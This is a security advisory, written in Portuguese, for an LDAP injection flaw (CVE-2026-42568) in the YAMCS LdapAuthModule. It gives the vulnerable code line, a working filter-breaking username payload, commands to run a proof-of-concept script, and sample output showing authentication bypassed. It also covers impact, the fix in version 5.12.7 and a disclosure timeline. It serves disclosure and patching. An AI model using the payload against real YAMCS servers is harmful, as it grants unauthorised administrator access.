
Existe uma vulnerabilidade de injeção LDAP em org.yamcs.security.LdapAuthModule. O parâmetro username é inserido diretamente nos filtros de busca LDAP sem escape conforme RFC 4515, permitindo bypass de autenticação.
| Campo | Valor |
|---|
| CVE | CVE-2026-42568 |
| Severidade | MÉDIA |
| CWE | CWE-90: Neutralização Incorreta de Elementos Especiais em Consulta LDAP |
| Afetado | yamcs-core < 5.12.7 (com autenticação LDAP configurada) |
| Corrigido em | yamcs-core 5.12.7 |
| Comunicado | GHSA-cqh3-jg8p-336j |
Causa raiz (LdapAuthModule.java):
var filter = userFilter.replace("{0}", username);
// nome de usuário inserido diretamente — sem escape RFC 4515
Com um userFilter típico de (uid={0}), um nome de usuário malicioso quebra a estrutura do filtro:
Entrada: *)(uid=*))(|(uid=*
Filtro: (uid=*)(uid=*))(|(uid=*)
Resultado: Correspondência universal — autenticação contornada
pip install requests
python3 poc.py http://localhost:8090
Saída esperada em instância vulnerável (com LDAP configurado):
[1] Bypass universal (qualquer conta)
Nome de usuário: *)(uid=*))(|(uid=*
Senha: qualquer coisa
Resultado: HTTP 200
[!!!] AUTENTICAÇÃO CONTORNADA
[!!!] Token recebido: eyJhbGciOiJSUzI1NiJ9...
Nota: Esta vulnerabilidade afeta apenas instâncias YAMCS com
LdapAuthModuleconfigurado. Instalações padrão usando autenticação embutida não são afetadas.
Um atacante não autenticado que consiga alcançar o servidor YAMCS pode contornar completamente a autenticação quando a autenticação LDAP está configurada, obtendo acesso como qualquer usuário, incluindo administradores.
Atualize para yamcs-core >= 5.12.7.
A correção aplica escape RFC 4515 ao nome de usuário antes de construir o filtro LDAP.
| Data | Evento |
|---|---|
| 2026-05 | Vulnerabilidade reportada |
| 2026-05-26 | Correção lançada no yamcs-core 5.12.7 |
| 2026-05-26 | Comunicado público publicado |
Daniel Miranda Barcelona (Excal1bur)